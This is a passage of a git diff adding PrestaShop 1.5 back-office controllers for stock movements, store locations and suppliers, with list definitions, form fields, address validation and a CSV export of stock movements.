$product->cache_is_pack; + $is_virtual = $product->is_virtual; + } + } + + if ($product_is_valid === true && $is_pack == false && $is_virtual == false) + { + // init form + $this->renderForm(); + $this->getlanguages(); + + $helper = new HelperForm(); + + // Check if form template has been overriden + if (file_exists($this->context->smarty->getTemplateDir(0).'/'.$this->tpl_folder.'form.tpl')) + $helper->tpl = $this->tpl_folder.'form.tpl'; + + $this->setHelperDisplay($helper); + $helper->submit_action = $this->display; + $helper->id = null; // no display standard hidden field in the form + $helper->languages = $this->_languages; + $helper->default_form_language = $this->default_form_language; + $helper->allow_employee_form_lang = $this->allow_employee_form_lang; + + $helper->fields_value = array( + 'id_product' => $id_product, + 'id_product_attribute' => $id_product_attribute, + 'reference' => $reference, + 'manufacturer_reference' => $manufacturer_reference, + 'name' => $name, + 'ean13' => $ean13, + 'upc' => $upc, + 'check' => md5(_COOKIE_KEY_.$id_product.$id_product_attribute), + 'quantity' => Tools::getValue('quantity', ''), + 'id_warehouse' => Tools::getValue('id_warehouse', ''), + 'usable' => ($this->fields_value['usable'] ? $this->fields_value['usable'] : Tools::getValue('usable', '')), + 'price' => Tools::getValue('price', ''), + 'id_currency' => Tools::getValue('id_currency', ''), + 'id_stock_mvt_reason' => Tools::getValue('id_stock_mvt_reason', ''), + 'is_post' => 1, + ); + + if ($this->display == 'addstock') + $_POST['id_product'] = (int)$id_product; + + if ($this->display == 'transferstock') + { + $helper->fields_value['id_warehouse_from'] = Tools::getValue('id_warehouse_from', ''); + $helper->fields_value['id_warehouse_to'] = Tools::getValue('id_warehouse_to', ''); + $helper->fields_value['usable_from'] = Tools::getValue('usable_from', ''); + $helper->fields_value['usable_to'] = Tools::getValue('usable_to', ''); + } + + $this->content .= $helper->generateForm($this->fields_form); + + $this->context->smarty->assign(array( + 'content' => $this->content + )); + } + else + $this->errors[] = Tools::displayError('The product specified is not valid.'); + } + } + else + { + $this->display = 'list'; + parent::initContent(); + } + } + + /** + * Display addstock action link + * @param string $token the token to add to the link + * @param int $id the identifier to add to the link + * @return string + */ + public function displayAddstockLink($token = null, $id) + { + if (!array_key_exists('AddStock', self::$cache_lang)) + self::$cache_lang['AddStock'] = $this->l('Add stock'); + + $this->context->smarty->assign(array( + 'href' => self::$currentIndex. + '&'.$this->identifier.'='.$id. + '&addstock&token='.($token != null ? $token : $this->token), + 'action' => self::$cache_lang['AddStock'], + )); + + return $this->context->smarty->fetch('helpers/list/list_action_addstock.tpl'); + } + + /** + * Display removestock action link + * @param string $token the token to add to the link + * @param int $id the identifier to add to the link + * @return string + */ + public function displayRemovestockLink($token = null, $id) + { + if (!array_key_exists('RemoveStock', self::$cache_lang)) + self::$cache_lang['RemoveStock'] = $this->l('Remove stock'); + + $this->context->smarty->assign(array( + 'href' => self::$currentIndex. + '&'.$this->identifier.'='.$id. + '&removestock&token='.($token != null ? $token : $this->token), + 'action' => self::$cache_lang['RemoveStock'], + )); + + return $this->context->smarty->fetch('helpers/list/list_action_removestock.tpl'); + } + + /** + * Display transferstock action link + * @param string $token the token to add to the link + * @param int $id the identifier to add to the link + * @return string + */ + public function displayTransferstockLink($token = null, $id) + { + if (!array_key_exists('TransferStock', self::$cache_lang)) + self::$cache_lang['TransferStock'] = $this->l('Transfer stock'); + + $this->context->smarty->assign(array( + 'href' => self::$currentIndex. + '&'.$this->identifier.'='.$id. + '&transferstock&token='.($token != null ? $token : $this->token), + 'action' => self::$cache_lang['TransferStock'], + )); + + return $this->context->smarty->fetch('helpers/list/list_action_transferstock.tpl'); + } + + public function initProcess() + { + if (!Configuration::get('PS_ADVANCED_STOCK_MANAGEMENT')) + { + $this->warnings[md5('PS_ADVANCED_STOCK_MANAGEMENT')] = $this->l('You need to activate advanced stock management prior to using this feature.'); + return false; + } + parent::initProcess(); + } +} diff --git a/controllers/admin/AdminStockMvtController.php b/controllers/admin/AdminStockMvtController.php new file mode 100755 index 0000000..cfba403 --- /dev/null +++ b/controllers/admin/AdminStockMvtController.php @@ -0,0 +1,316 @@ +<?php +/* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Open Software License (OSL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/osl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA <contact@prestashop.com> +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +/** + * @since 1.5.0 + */ +class AdminStockMvtControllerCore extends AdminController +{ + public function __construct() + { + $this->context = Context::getContext(); + $this->table = 'stock_mvt'; + $this->className = 'StockMvt'; + $this->identifier = 'id_stock_mvt'; + $this->lang = false; + $this->multishop_context = Shop::CONTEXT_ALL; + + $this->list_no_link = true; + $this->displayInformation($this->l('This interface allows you to display the stock movement for a selected warehouse.').'<br />'); + + $this->fields_list = array( + 'product_reference' => array( + 'title' => $this->l('Reference'), + 'width' => 100, + 'havingFilter' => true + ), + 'product_ean13' => array( + 'title' => $this->l('EAN 13'), + 'width' => 75, + 'havingFilter' => true + ), + 'product_upc' => array( + 'title' => $this->l('UPC'), + 'width' => 75, + 'havingFilter' => true + ), + 'product_name' => array( + 'title' => $this->l('Name'), + 'havingFilter' => true + ), + 'warehouse_name' => array( + 'title' => $this->l('Warehouse'), + 'havingFilter' => false, + 'orderby' => true, + 'search' => false, + ), + 'sign' => array( + 'title' => $this->l('Sign'), + 'width' => 100, + 'align' => 'center', + 'type' => 'select', + 'filter_key' => 'a!sign', + 'list' => array( + '1' => $this->l('Increase'), + '-1' => $this->l('Decrease'), + ), + 'icon' => array( + -1 => 'remove_stock.png', + 1 => 'add_stock.png' + ), + ), + 'physical_quantity' => array( + 'title' => $this->l('Quantity'), + 'width' => 40, + 'filter_key' => 'a!physical_quantity' + ), + 'price_te' => array( + 'title' => $this->l('Price (tax excl.)'), + 'width' => 70, + 'align' => 'right', + 'type' => 'price', + 'currency' => true, + 'filter_key' => 'a!price_te' + ), + 'reason' => array( + 'title' => $this->l('Label'), + 'width' => 100, + 'havingFilter' => true + ), + 'employee' => array( + 'title' => $this->l('Employee'), + 'width' => 100, + 'havingFilter' => true + ), + 'date_add' => array( + 'title' => $this->l('Date'), + 'width' => 150, + 'align' => 'right', + 'type' => 'datetime', + 'filter_key' => 'a!date_add' + ), + ); + + parent::__construct(); + } + + /** + * AdminController::renderList() override + * @see AdminController::renderList() + */ + public function renderList() + { + // removes toolbar btn + $this->toolbar_btn = array(); + + // overrides select + $this->_select = ' + CONCAT(pl.name, \' \', GROUP_CONCAT(IFNULL(al.name, \'\'), \'\')) product_name, + CONCAT(a.employee_lastname, \' \', a.employee_firstname) as employee, + mrl.name as reason, + stock.reference as product_reference, + stock.ean13 as product_ean13, + stock.upc as product_upc, + w.id_currency as id_currency, + w.name as warehouse_name'; + + // overrides join + $this->_join = 'INNER JOIN '._DB_PREFIX_.'stock stock ON a.id_stock = stock.id_stock + LEFT JOIN `'._DB_PREFIX_.'product_lang` pl ON ( + stock.id_product = pl.id_product + AND pl.id_lang = '.(int)$this->context->language->id.Shop::addSqlRestrictionOnLang('pl').' + ) + LEFT JOIN `'._DB_PREFIX_.'stock_mvt_reason_lang` mrl ON ( + a.id_stock_mvt_reason = mrl.id_stock_mvt_reason + AND mrl.id_lang = '.(int)$this->context->language->id.' + ) + LEFT JOIN `'._DB_PREFIX_.'warehouse` w ON (w.id_warehouse = stock.id_warehouse) + LEFT JOIN `'._DB_PREFIX_.'product_attribute_combination` pac ON (pac.id_product_attribute = stock.id_product_attribute) + LEFT JOIN `'._DB_PREFIX_.'attribute_lang` al ON ( + al.id_attribute = pac.id_attribute + AND al.id_lang = '.(int)$this->context->language->id.' + )'; + // overrides group + $this->_group = 'GROUP BY a.id_stock_mvt'; + + // overrides where depending on the warehouse + $id_warehouse = (int)$this->getCurrentWarehouseId(); + if ($id_warehouse > 0) + { + $this->_where = ' AND w.id_warehouse = '.$id_warehouse; + self::$currentIndex .= '&id_warehouse='.$id_warehouse; + } + + // sets the current warehouse + $this->tpl_list_vars['current_warehouse'] = $this->getCurrentWarehouseId(); + + // sets the list of warehouses + $warehouses = Warehouse::getWarehouses(true); + array_unshift($warehouses, array('id_warehouse' => -1, 'name' => $this->l('All Warehouses'))); + $this->tpl_list_vars['list_warehouses'] = $warehouses; + + // sets toolbar + $this->initToolbar(); + + // renders list + $list = parent::renderList(); + + // if export requested + if (Tools::isSubmit('csv')) + { + if (count($this->_list) > 0) + { + $this->renderCSV(); + die; + } + else + $this->displayWarning($this->l('There is nothing to export as a CSV.')); + } + + return $list; + } + + /** + * Gets the current warehouse for this controller + * + * @return int warehouse_id + */ + protected function getCurrentWarehouseId() + { + static $warehouse = 0; + + if ($warehouse == 0) + { + $warehouse = -1; + if ((int)Tools::getValue('id_warehouse')) + $warehouse = (int)Tools::getValue('id_warehouse'); + } + + return $warehouse; + } + + /** + * AdminController::getList() override + * @see AdminController::getList() + */ + public function getList($id_lang, $order_by = null, $order_way = null, $start = 0, $limit = null, $id_lang_shop = false) + { + if (Tools::isSubmit('csv')) + $limit = false; + + parent::getList($id_lang, $order_by, $order_way, $start, $limit, $id_lang_shop); + + //If there is a field product_name in the list, check if this field is null and display standard message + foreach ($this->fields_list as $key => $value) + if ($key == 'product_name') + { + $nb_items = count($this->_list); + + for ($i = 0; $i < $nb_items; ++$i) + { + $item = &$this->_list[$i]; + + if (empty($item['product_name'])) + $item['product_name'] = $this->l('The name of this product is not available. It may have been deleted from the system.'); + } + } + } + + /** + * @see AdminController::initToolbar(); + */ + public function initToolbar() + { + if (Tools::isSubmit('id_warehouse') && (int)Tools::getValue('id_warehouse') != -1) + { + $this->toolbar_btn['export-stock-mvt-csv'] = array( + 'short' => 'Export this list as CSV', + 'href' => $this->context->link->getAdminLink('AdminStockMvt').'&csv&id_warehouse='.(int)$this->getCurrentWarehouseId(), + 'desc' => $this->l('Export (CSV)'), + ); + } + parent::initToolbar(); + unset($this->toolbar_btn['new']); + } + + /** + * Exports CSV + */ + public function renderCSV() + { + if (!$this->_list) + return; + + // header + if (Tools::getValue('id_warehouse') != -1) + $filename = $this->l('stock_mvt').'_'.Warehouse::getWarehouseNameById((int)Tools::getValue('id_warehouse')).'.csv'; + else + $filename = $this->l('stock_mvt').'.csv'; + header('Content-type: text/csv'); + header('Cache-Control: no-store, no-cache'); + header('Content-disposition: attachment; filename="'.$filename); + + // puts keys + $keys = array('id_order', 'id_supply_order', 'emloyee_firstname', 'employee_lastname', 'physical_quantity', + 'date_add', 'sign', 'price_te', 'product_name', 'label', 'product_reference', 'product_ean13', 'product_upc'); + echo sprintf("%s\n", implode(';', $keys)); + + + // puts rows + foreach ($this->_list as $row) + { + $row_csv = array($row['id_order'], $row['id_supply_order'], $row['employee_firstname'], + $row['employee_lastname'], $row['physical_quantity'], $row['date_add'], + $row['sign'], $row['price_te'], $row['product_name'], + $row['reason'], $row['product_reference'], $row['product_ean13'], $row['product_upc'] + ); + + // puts one row + echo sprintf("%s\n", implode(';', array_map(array('CSVCore', 'wrap'), $row_csv))); + } + } + + public function initContent() + { + if (!Configuration::get('PS_ADVANCED_STOCK_MANAGEMENT')) + { + $this->warnings[md5('PS_ADVANCED_STOCK_MANAGEMENT')] = $this->l('You need to activate advanced stock management before using this feature.'); + return false; + } + parent::initContent(); + } + + public function initProcess() + { + if (!Configuration::get('PS_ADVANCED_STOCK_MANAGEMENT')) + { + $this->warnings[md5('PS_ADVANCED_STOCK_MANAGEMENT')] = $this->l('You need to activate advanced stock management before using this feature.'); + return false; + } + parent::initProcess(); + } + +} diff --git a/controllers/admin/AdminStoresController.php b/controllers/admin/AdminStoresController.php new file mode 100755 index 0000000..03a001d --- /dev/null +++ b/controllers/admin/AdminStoresController.php @@ -0,0 +1,564 @@ +<?php +/* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Open Software License (OSL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/osl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA <contact@prestashop.com> +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +class AdminStoresControllerCore extends AdminController +{ + public function __construct() + { + $this->table = 'store'; + $this->className = 'Store'; + $this->lang = false; + $this->toolbar_scroll = false; + + $this->context = Context::getContext(); + + if (!Tools::getValue('realedit')) + $this->deleted = false; + + $this->fieldImageSettings = array( + 'name' => 'image', + 'dir' => 'st' + ); + + $this->fields_list = array( + 'id_store' => array('title' => $this->l('ID'), 'align' => 'center', 'width' => 25), + 'name' => array('title' => $this->l('Name'), 'width' => 120, 'filter_key' => 'a!name'), + 'address1' => array('title' => $this->l('Address'), 'width' => 120, 'filter_key' => 'a!address1'), + 'city' => array('title' => $this->l('City'), 'width' => 100), + 'postcode' => array('title' => $this->l('Zip code'), 'width' => 50), + 'state' => array('title' => $this->l('State'), 'width' => 100, 'filter_key' => 'st!name'), + 'country' => array('title' => $this->l('Country'), 'width' => 100, 'filter_key' => 'cl!name'), + 'phone' => array('title' => $this->l('Phone'), 'width' => 70), + 'fax' => array('title' => $this->l('Fax'), 'width' => 70), + 'active' => array('title' => $this->l('Enabled'), 'width' => 70, 'align' => 'center', 'active' => 'status', 'type' => 'bool', 'orderby' => false) + ); + + $this->bulk_actions = array( + 'delete' => array('text' => $this->l('Delete selected'), 'confirm' => $this->l('Delete selected items?')), + 'enableSelection' => array('text' => $this->l('Enable selection')), + 'disableSelection' => array('text' => $this->l('Disable selection')) + ); + + $this->fields_options = array( + 'general' => array( + 'title' => $this->l('Parameters'), + 'fields' => array( + 'PS_STORES_DISPLAY_FOOTER' => array( + 'title' => $this->l('Display in the footer'), + 'desc' => $this->l('Display a link to the store locator in the footer'), + 'cast' => 'intval', + 'type' => 'bool' + ), + 'PS_STORES_DISPLAY_SITEMAP' => array( + 'title' => $this->l('Display in the sitemap page'), + 'desc' => $this->l('Display a link to the store locator in the sitemap page'), + 'cast' => 'intval', + 'type' => 'bool' + ), + 'PS_STORES_SIMPLIFIED' => array( + 'title' => $this->l('Show a simplified store locator'), + 'desc' => $this->l('No map, no search, only a store directory'), + 'cast' => 'intval', + 'type' => 'bool' + ), + 'PS_STORES_CENTER_LAT' => array( + 'title' => $this->l('Latitude by default'), + 'desc' => $this->l('Used for the position by default of the map'), + 'cast' => 'floatval', + 'type' => 'text', + 'size' => '10' + ), + 'PS_STORES_CENTER_LONG' => array( + 'title' => $this->l('Longitude by default'), + 'desc' => $this->l('Used for the position by default of the map'), + 'cast' => 'floatval', + 'type' => 'text', + 'size' => '10' + ) + ) + ) + ); + + parent::__construct(); + + $this->_buildOrderedFieldsShop($this->_getDefaultFieldsContent()); + } + + public function renderOptions() + { + // Set toolbar options + $this->display = 'options'; + $this->show_toolbar = true; + $this->toolbar_scroll = true; + $this->initToolbar(); + + return parent::renderOptions(); + } + + public function initToolbar() + { + parent::initToolbar(); + + if ($this->display == 'options') + unset($this->toolbar_btn['new']); + else + unset($this->toolbar_btn['save']); + } + + public function renderList() + { + // Set toolbar options + $this->display = null; + $this->initToolbar(); + + $this->addRowAction('edit'); + $this->addRowAction('delete'); + + $this->_select = 'cl.`name` country, st.`name` state'; + $this->_join = ' + LEFT JOIN `'._DB_PREFIX_.'country_lang` cl + ON (cl.`id_country` = a.`id_country` + AND cl.`id_lang` = '.(int)$this->context->language->id.') + LEFT JOIN `'._DB_PREFIX_.'state` st + ON (st.`id_state` = a.`id_state`)'; + + return parent::renderList(); + } + + public function renderForm() + { + $this->fields_form = array( + 'legend' => array( + 'title' => $this->l('Stores'), + 'image' => '../img/admin/home.gif' + ), + 'input' => array( + array( + 'type' => 'text', + 'label' => $this->l('Name'), + 'name' => 'name', + 'size' => 33, + 'required' => false, + 'hint' => sprintf($this->l('Allowed characters: letters, spaces and %s'), '().-'), + 'desc' => $this->l('Store name (e.g. City Center Mall Store)') + ), + array( + 'type' => 'text', + 'label' => $this->l('Address'), + 'name' => 'address1', + 'size' => 33, + 'required' => true + ), + array( + 'type' => 'text', + 'label' => $this->l('Address (2)'), + 'name' => 'address2', + 'size' => 33 + ), + array( + 'type' => 'text', + 'label' => $this->l('Postal Code/Zip Code'), + 'name' => 'postcode', + 'size' => 6, + 'required' => true + ), + array( + 'type' => 'text', + 'label' => $this->l('City'), + 'name' => 'city', + 'size' => 33, + 'required' => true + ), + array( + 'type' => 'select', + 'label' => $this->l('Country'), + 'name' => 'id_country', + 'required' => true, + 'default_value' => (int)$this->context->country->id, + 'options' => array( + 'query' => Country::getCountries($this->context->language->id), + 'id' => 'id_country', + 'name' => 'name', + ) + ), + array( + 'type' => 'select', + 'label' => $this->l('State'), + 'name' => 'id_state', + 'required' => true, + 'options' => array( + 'id' => 'id_state', + 'name' => 'name', + 'query' => null + ) + ), + array( + 'type' => 'latitude', + 'label' => $this->l('Latitude / Longitude'), + 'name' => 'latitude', + 'required' => true, + 'size' => 11, + 'maxlength' => 12, + 'desc' => $this->l('Store coordinates (e.g. 45.265469/-47.226478)') + ), + array( + 'type' => 'text', + 'label' => $this->l('Phone'), + 'name' => 'phone', + 'size' => 33 + ), + array( + 'type' => 'text', + 'label' => $this->l('Fax'), + 'name' => 'fax', + 'size' => 33 + ), + array( + 'type' => 'text', + 'label' => $this->l('Email address'), + 'name' => 'email', + 'size' => 33 + ), + array( + 'type' => 'textarea', + 'label' => $this->l('Note'), + 'name' => 'note', + 'cols' => 42, + 'rows' => 4 + ), + array( + 'type' => 'radio', + 'label' => $this->l('Status'), + 'name' => 'active', + 'required' => false, + 'class' => 't', + 'is_bool' => true, + 'values' => array( + array( + 'id' => 'active_on', + 'value' => 1, + 'label' => $this->l('Enabled') + ), + array( + 'id' => 'active_off', + 'value' => 0, + 'label' => $this->l('Disabled') + ) + ), + 'desc' => $this->l('Whether or not to display this store') + ) + ), + 'rightCols' => array ( + 'input' => array( + 'type' => 'file', + 'label' => $this->l('Picture'), + 'name' => 'image', + 'desc' => $this->l('Storefront picture') + ) + ), + 'submit' => array( + 'title' => $this->l(' Save '), + 'class' => 'button' + ) + ); + + if (Shop::isFeatureActive()) + { + $this->fields_form['input'][] = array( + 'type' => 'shop', + 'label' => $this->l('Shop association:'), + 'name' => 'checkBoxShopAsso', + ); + } + + if (!($obj = $this->loadObject(true))) + return; + + $image = ImageManager::thumbnail(_PS_STORE_IMG_DIR_.'/'.$obj->id.'.jpg', $this->table.'_'.(int)$obj->id.'.'.$this->imageType, 350, $this->imageType, true); + + $days = array(); + $days[1] = $this->l('Monday'); + $days[2] = $this->l('Tuesday'); + $days[3] = $this->l('Wednesday'); + $days[4] = $this->l('Thursday'); + $days[5] = $this->l('Friday'); + $days[6] = $this->l('Saturday'); + $days[7] = $this->l('Sunday'); + + $hours = $this->getFieldValue($obj, 'hours'); + if (!empty($hours)) + $hours_unserialized = Tools::unSerialize($hours); + + $this->fields_value = array( + 'latitude' => $this->getFieldValue($obj, 'latitude') ? $this->getFieldValue($obj, 'latitude') : Configuration::get('PS_STORES_CENTER_LAT'), + 'longitude' => $this->getFieldValue($obj, 'longitude') ? $this->getFieldValue($obj, 'longitude') : Configuration::get('PS_STORES_CENTER_LONG'), + 'image' => $image ? $image : false, + 'size' => $image ? filesize(_PS_STORE_IMG_DIR_.'/'.$obj->id.'.jpg') / 1000 : false, + 'days' => $days, + 'hours' => isset($hours_unserialized) ? $hours_unserialized : false + ); + + return parent::renderForm(); + } + + public function postProcess() + { + if (isset($_POST['submitAdd'.$this->table])) + { + /* Cleaning fields */ + foreach ($_POST as $kp => $vp) + if (!in_array($kp, array('checkBoxShopGroupAsso_store', 'checkBoxShopAsso_store'))) + $_POST[$kp] = trim($vp); + + /* Rewrite latitude and longitude to 8 digits */ + $_POST['latitude'] = number_format($_POST['latitude'], 8); + $_POST['longitude'] = number_format($_POST['longitude'], 8); + + /* If the selected country does not contain states */ + $id_state = (int)Tools::getValue('id_state'); + $id_country = (int)Tools::getValue('id_country'); + $country = new Country((int)$id_country); + + if ($id_country && $country && !(int)$country->contains_states && $id_state) + $this->errors[] = Tools::displayError('You\'ve selected a state for a country that does not contain states.'); + + /* If the selected country contains states, then a state have to be selected */ + if ((int)$country->contains_states && !$id_state) + $this->errors[] = Tools::displayError('An address located in a country containing states must have a state selected.'); + + $latitude = (float)Tools::getValue('latitude'); + $longitude = (float)Tools::getValue('longitude'); + + if (empty($latitude) || empty($longitude)) + $this->errors[] = Tools::displayError('Latitude and longitude are required.'); + + $postcode = Tools::getValue('postcode'); + /* Check zip code format */ + if ($country->zip_code_format && !$country->checkZipCode($postcode)) + $this->errors[] = Tools::displayError('Your Postal / Zip Code is incorrect.').'<br />'.Tools::displayError('It must be entered as follows:').' '.str_replace('C', $country->iso_code, str_replace('N', '0', str_replace('L', 'A', $country->zip_code_format))); + elseif(empty($postcode) && $country->need_zip_code) + $this->errors[] = Tools::displayError('A Zip / Postal code is required.'); + elseif ($postcode && !Validate::isPostCode($postcode)) + $this->errors[] = Tools::displayError('The Zip / Postal code is invalid.'); + + /* Store hours */ + $_POST['hours'] = array(); + for ($i = 1; $i < 8; $i++) + $_POST['hours'][] .= Tools::getValue('hours_'.(int)$i); + $_POST['hours'] = serialize($_POST['hours']); + } + + if (!count($this->errors)) + parent::postProcess(); + else + $this->display = 'add'; + } + + protected function postImage($id) + { + $ret = parent::postImage($id); + if (($id_store = (int)Tools::getValue('id_store')) && isset($_FILES) && count($_FILES) && file_exists(_PS_STORE_IMG_DIR_.$id_store.'.jpg')) + { + $images_types = ImageType::getImagesTypes('stores'); + foreach ($images_types as $k => $image_type) + { + ImageManager::resize(_PS_STORE_IMG_DIR_.$id_store.'.jpg', + _PS_STORE_IMG_DIR_.$id_store.'-'.stripslashes($image_type['name']).'.jpg', + (int)$image_type['width'], (int)$image_type['height'] + ); + } + } + return $ret; + } + + protected function _getDefaultFieldsContent() + { + $this->context = Context::getContext(); + $countryList = array(); + $countryList[] = array('id' => '0', 'name' => $this->l('Choose your country')); + foreach (Country::getCountries($this->context->language->id) as $country) + $countryList[] = array('id' => $country['id_country'], 'name' => $country['name']); + $stateList = array(); + $stateList[] = array('id' => '0', 'name' => $this->l('Choose your state (if applicable)')); + foreach (State::getStates($this->context->language->id) as $state) + $stateList[] = array('id' => $state['id_state'], 'name' => $state['name']); + + $formFields = array( + 'PS_SHOP_NAME' => array( + 'title' => $this->l('Shop name'), + 'desc' => $this->l('Displayed in emails and page titles'), + 'validation' => 'isGenericName', + 'required' => true, + 'size' => 30, + 'type' => 'text' + ), + 'PS_SHOP_EMAIL' => array('title' => $this->l('Shop email'), + 'desc' => $this->l('Displayed in emails sent to customers'), + 'validation' => 'isEmail', + 'required' => true, + 'size' => 30, + 'type' => 'text' + ), + 'PS_SHOP_DETAILS' => array( + 'title' => $this->l('Registration'), + 'desc' => $this->l('Shop registration information (e.g. SIRET or RCS)'), + 'validation' => 'isGenericName', + 'size' => 30, + 'type' => 'textarea', + 'cols' => 30, + 'rows' => 5 + ), + 'PS_SHOP_ADDR1' => array( + 'title' => $this->l('Shop address line 1'), + 'validation' => 'isAddress', + 'size' => 30, + 'type' => 'text' + ), + 'PS_SHOP_ADDR2' => array( + 'title' => $this->l('Shop address line 2'), + 'validation' => 'isAddress', + 'size' => 30, + 'type' => 'text' + ), + 'PS_SHOP_CODE' => array( + 'title' => $this->l('Postal Code/Zip code'), + 'validation' => 'isGenericName', + 'size' => 6, + 'type' => 'text' + ), + 'PS_SHOP_CITY' => array( + 'title' => $this->l('City'), + 'validation' => 'isGenericName', + 'size' => 30, + 'type' => 'text' + ), + 'PS_SHOP_COUNTRY_ID' => array( + 'title' => $this->l('Country'), + 'validation' => 'isInt', + 'type' => 'select', + 'list' => $countryList, + 'identifier' => 'id', + 'cast' => 'intval', + 'defaultValue' => (int)$this->context->country->id + ), + 'PS_SHOP_STATE_ID' => array( + 'title' => $this->l('State'), + 'validation' => 'isInt', + 'type' => 'select', + 'list' => $stateList, + 'identifier' => 'id', + 'cast' => 'intval' + ), + 'PS_SHOP_PHONE' => array( + 'title' => $this->l('Phone'), + 'validation' => 'isGenericName', + 'size' => 30, + 'type' => 'text' + ), + 'PS_SHOP_FAX' => array( + 'title' => $this->l('Fax'), + 'validation' => 'isGenericName', + 'size' => 30, + 'type' => 'text' + ), + ); + + return $formFields; + } + + protected function _buildOrderedFieldsShop($formFields) + { + // You cannot do that, because the fields must be sorted for the country you've selected. + // Simple example: the current country is France, where we don't display the state. You choose "US" as a country in the form. The state is not dsplayed at the right place... + + // $associatedOrderKey = array( + // 'PS_SHOP_NAME' => 'company', + // 'PS_SHOP_ADDR1' => 'address1', + // 'PS_SHOP_ADDR2' => 'address2', + // 'PS_SHOP_CITY' => 'city', + // 'PS_SHOP_STATE_ID' => 'State:name', + // 'PS_SHOP_CODE' => 'postcode', + // 'PS_SHOP_COUNTRY_ID' => 'Country:name', + // 'PS_SHOP_PHONE' => 'phone'); + // $fields = array(); + // $orderedFields = AddressFormat::getOrderedAddressFields(Configuration::get('PS_SHOP_COUNTRY_ID'), false, true); + // foreach ($orderedFields as $lineFields) + // if (($patterns = explode(' ', $lineFields))) + // foreach ($patterns as $pattern) + // if (($key = array_search($pattern, $associatedOrderKey))) + // $fields[$key] = $formFields[$key]; + // foreach ($formFields as $key => $value) + // if (!isset($fields[$key])) + // $fields[$key] = $formFields[$key]; + + $fields = $formFields; + $this->fields_options['contact'] = array( + 'title' => $this->l('Contact details'), + 'icon' => 'tab-contact', + 'fields' => $fields, + 'submit' => array('title' => $this->l(' Save '), 'class' => 'button') + ); + } + + public function beforeUpdateOptions() + { + if (isset($_POST['PS_SHOP_STATE_ID']) && $_POST['PS_SHOP_STATE_ID'] != '0') + { + $sql = 'SELECT `active` FROM `'._DB_PREFIX_.'state` + WHERE `id_country` = '.(int)Tools::getValue('PS_SHOP_COUNTRY_ID').' + AND `id_state` = '.(int)Tools::getValue('PS_SHOP_STATE_ID'); + $isStateOk = Db::getInstance()->getValue($sql); + if ($isStateOk != 1) + $this->errors[] = Tools::displayError('The state specified is not located in this country.'); + } + } + + public function updateOptionPsShopCountryId($value) + { + if (!$this->errors && $value) + { + $country = new Country($value, $this->context->language->id); + if ($country->id) + { + Configuration::updateValue('PS_SHOP_COUNTRY_ID', $value); + Configuration::updateValue('PS_SHOP_COUNTRY', pSQL($country->name)); + } + } + } + + public function updateOptionPsShopStateId($value) + { + if (!$this->errors && $value) + { + $state = new State($value); + if ($state->id) + { + Configuration::updateValue('PS_SHOP_STATE_ID', $value); + Configuration::updateValue('PS_SHOP_STATE', pSQL($state->name)); + } + } + } +} \ No newline at end of file diff --git a/controllers/admin/AdminSuppliersController.php b/controllers/admin/AdminSuppliersController.php new file mode 100755 index 0000000..465911a --- /dev/null +++ b/controllers/admin/AdminSuppliersController.php @@ -0,0 +1,459 @@ +<?php +/* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Open Software License (OSL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/osl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA <contact@prestashop.com> +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +class AdminSuppliersControllerCore extends AdminController +{ + public function __construct() + { + $this->table = 'supplier'; + $this->className = 'Supplier'; + + $this->addRowAction('view'); + $this->addRowAction('edit'); + $this->addRowAction('delete'); + $this->allow_export = true; + + $this->bulk_actions = array('delete' => array('text' => $this->l('Delete selected'), 'confirm' => $this->l('Delete selected items?'))); + + $this->_select = 'COUNT(DISTINCT ps.`id_product`) AS products'; + $this->_join = 'LEFT JOIN `'._DB_PREFIX_.'product_supplier` ps ON (a.`id_supplier` = ps.`id_supplier`)'; + $this->_group = 'GROUP BY a.`id_supplier`'; + + $this->fieldImageSettings = array('name' => 'logo', 'dir' => 'su'); + + $this->fields_list = array( + 'id_supplier' => array('title' => $this->l('ID'), 'align' => 'center', 'width' => 25), + 'logo' => array('title' => $this->l('Logo'), 'width' => 150, 'align' => 'center', 'image' => 'su', 'orderby' => false, 'search' => false), + 'name' => array('title' => $this->l('Name'), 'width' => 'auto'), + 'products' => array('title' => $this->l('Number of products'), 'width' => 70, 'align' => 'right', 'filter_type' => 'int', 'tmpTableFilter' => true), + 'active' => array('title' => $this->l('Enabled'), 'width' => 70, 'align' => 'center', 'active' => 'status', 'type' => 'bool', 'orderby' => false) + ); + + parent::__construct(); + } + + public function setMedia() + { + parent::setMedia(); + $this->addJqueryUi('ui.widget'); + $this->addJqueryPlugin('tagify'); + } + + public 